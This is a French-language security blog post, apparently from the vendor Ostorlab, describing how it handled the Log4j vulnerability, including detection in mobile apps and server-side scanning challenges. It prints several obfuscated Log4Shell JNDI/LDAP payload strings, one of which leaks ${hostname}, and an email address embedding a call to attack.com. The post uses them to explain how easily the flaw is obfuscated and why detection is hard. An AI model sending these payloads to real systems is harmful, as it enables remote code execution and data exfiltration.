Comment avons-nous réagi à la vulnérabilité Log4j ? Lisez notre analyse pour les applications mobiles.

À ce stade, la plupart d'entre vous ont déjà entendu parler de la tempête Log4J, ou en ont lu des analyses.

Le but de cet article n'est pas de répéter ce que de nombreuses ressources ont déjà partagé, mais de présenter un point de vue différent, centré sur la détection côté mobile, et d'aborder aussi les défis propres auxquels tous les scanners de vulnérabilités sont confrontés pour détecter ce type de vulnérabilité.

La première fois que nous avons entendu parler de Log4J, c'était un vendredi matin, par quelqu'un qui demandait si Android était vulnérable à ce bug. En lisant le ticket, cela semblait être une vulnérabilité sérieuse, mais pas plus critique que le bug d'Equifax (déjà assez sérieux).

Ce n'est que plus tard dans la journée que les choses se sont clarifiées. Le bug de Log4j est une RCE exploitable à distance, qui n'exige aucun contournement de protection mémoire, très fiable, présente dans une bibliothèque très répandue, jusque sur Mars, et dont l'impact peut se propager en cascade vers des systèmes bien au-delà des serveurs exposés à internet. Ce problème est aussi grave qu'il puisse l'être.

La vulnérabilité est aussi très facile à obfusquer grâce à un moteur de templates riche en fonctionnalités, comme vous pouvez le voir ci-dessous :

${${lower:j}${lower:n}${lower:d}${lower:i}:${lower:l}${lower:d}${lower:a}${lower:p}://test/a}

${${lower:j}${lower:n}${lower:d}${lower:i}:${lower:l}${lower:d}${lower:a}${lower:p}://${upper:t}est/a} 

${${env:env_name:-j}${env:env_name:-n}${env:env_name:-d}${env:env_name:-i}${env:env_name:-:}${env:env_name:-l}${env:env_name:-d}${env:env_name:-a}${env:env_name:-p}${env:env_name:-:}//test/a} (Also works on rmi, dns, ldaps)

${${::-j}${${::-n}${${::-d}${${::-i}:${::-l}${${::-d}${${::-a}${${::-p}://test/a}

${${::-j}${${::-n}${${::-d}${${::-i}:${::-l}${${::-d}${${::-a}${${::-p}://${hostname}.test/a}

${jndi:ldap://{$date:YYYYMMddHHmmss}.test/a}

Corriger le problème exige de mettre à jour la bibliothèque et, dans certains cas, de passer à une version plus récente de Java, avec des changements potentiellement cassants.

Pour traiter ce problème, Ostorlab s'est mis au travail sur 3 axes :

• Corriger nos systèmes et remédier à tout correctif manquant
• Vérifier l'applicabilité aux applications mobiles et s'assurer d'une détection adéquate
• Mettre en œuvre la détection côté serveur et dans les scans d'API

Correction

Grâce à l'utilisation de services cloud, notre inventaire est facile à maintenir. Après avoir passé en revue la liste de tous les systèmes et scanné chacun d'eux, nous avons identifié un service vulnérable utilisé pour l'indexation des résultats. À ce moment-là, aucun correctif n'était disponible pour ce service. Le système n'était toutefois pas critique pour l'activité, nous avons donc d'abord choisi de le désactiver. L'analyse de nos bases de code a toutefois révélé que certains outils livrés avec notre code embarquaient une version vulnérable de log4j ; ils ont été corrigés rapidement.

Détection côté client

Log4j n'est pas couramment utilisé dans les applications mobiles. L'analyse des données historiques des applications scannées précédemment a toutefois révélé plus de 100 applications embarquant une version de log4j, certaines avec plus de 50M d'utilisateurs.

ASTUCE : la nomenclature logicielle (SBOM) de l'application est générée automatiquement par Ostorlab, y compris dans la version communautaire gratuite, dans la section « Libraries & Dependencies ».

La vulnérabilité Log4j est cependant causée par une classe de recherche JNDI qui était absente des versions que nous avons examinées.

En creusant la fonctionnalité JNDI, on constate que son implémentation se trouve dans javax.naming et, sur certaines versions d'Android, dans android.javax.naming.

Ce package est rarement présent dans les applications, mais il a été observé dans au moins 6 applications, certaines avec plus d'un million d'utilisateurs. Toutes ces applications montraient une implémentation de la résolution JNDI.

Si Log4j est probablement le vecteur le plus répandu, il est probable que nous verrons à l'avenir d'autres applications vulnérables à cause d'une résolution JNDI non fiable.

L'analyse du package javax.naming a montré qu'il est utilisé par plusieurs applications, dont certaines pour extraire le CN des certificats TLS.

Ci-dessous, un graphe complet généré avec la fonctionnalité d'analyse statique d'Ostorlab, montrant où la classe d'implémentation de naming est utilisée dans l'application :

Détection côté serveur

Il existe déjà de nombreux projets open source pour fuzzer les applications avec des chaînes JNDI et attendre des callbacks.

Le premier défi du scan de Log4j est qu'il repose sur des callbacks : envoyer une simple requête et attendre une réponse ne donnera aucun résultat. Les scanners réseau traditionnels peuvent échouer parce qu'ils sont parfois déployés sur des réseaux privés et que leur payload basé sur des callbacks utilisera l'adresse IP d'une machine non joignable.

Le deuxième défi est que les journaux peuvent provenir de différentes entrées ayant des données de sérialisation différentes. La vulnérabilité ne peut se déclencher que lorsque l'entrée a franchi la première phase de désérialisation. Cela est loin d'être propre à log4j, c'est une faiblesse courante et connue de tous les scanners de vulnérabilités web.

Le dernier défi est que les requêtes directes ne sont pas le seul vecteur d'attaque : certains ont déjà expérimenté l'insertion du payload dans robots.txt, les champs DNS, les adresses e-mail (hack+(${jndi:ldap://attack.com/exploit})@ostorlab.co est une adresse e-mail valide), les champs de certificats TLS, les métadonnées de fichiers, le BSSID Wifi, ... en gros, la seule limite est votre imagination.

Aucun outil de sécurité ne couvrira probablement tout cela.

Que devons-nous faire ?

Cette vulnérabilité est de loin l'une des plus dangereuses, et ses ramifications mettront des mois à se déployer avant que l'on entende parler des compromissions les plus graves.

Pour protéger votre organisation, de nombreuses étapes sont nécessaires :

• Correction proactive : si vous ne savez pas si votre application est vulnérable, vous pouvez utiliser la plateforme gratuite d'Ostorlab pour effectuer un scan et vous assurer qu'aucune bibliothèque Log4j vulnérable n'est présente.
• Scan des dépendances du code source pour éliminer les cas faciles à détecter
• Scan des artefacts compilés, qu'il s'agisse de vos wars, jar, apk ou conteneurs docker.
• Scan des instances en production, à la fois de votre code et de vos systèmes et appliances tiers. Vérifiez que les scanners que vous utilisez parlent le langage de vos API, c'est-à-dire qu'ils prennent en charge REST et SOAP avec une découverte d'API appropriée, comme OpenAPI ou l'introspection de schéma GraphQL selon votre cas d'usage.
• Le WAF aura malheureusement probablement peu d'intérêt, tant il est facile d'obfusquer la vulnérabilité, mais il reste une bonne protection en profondeur à avoir.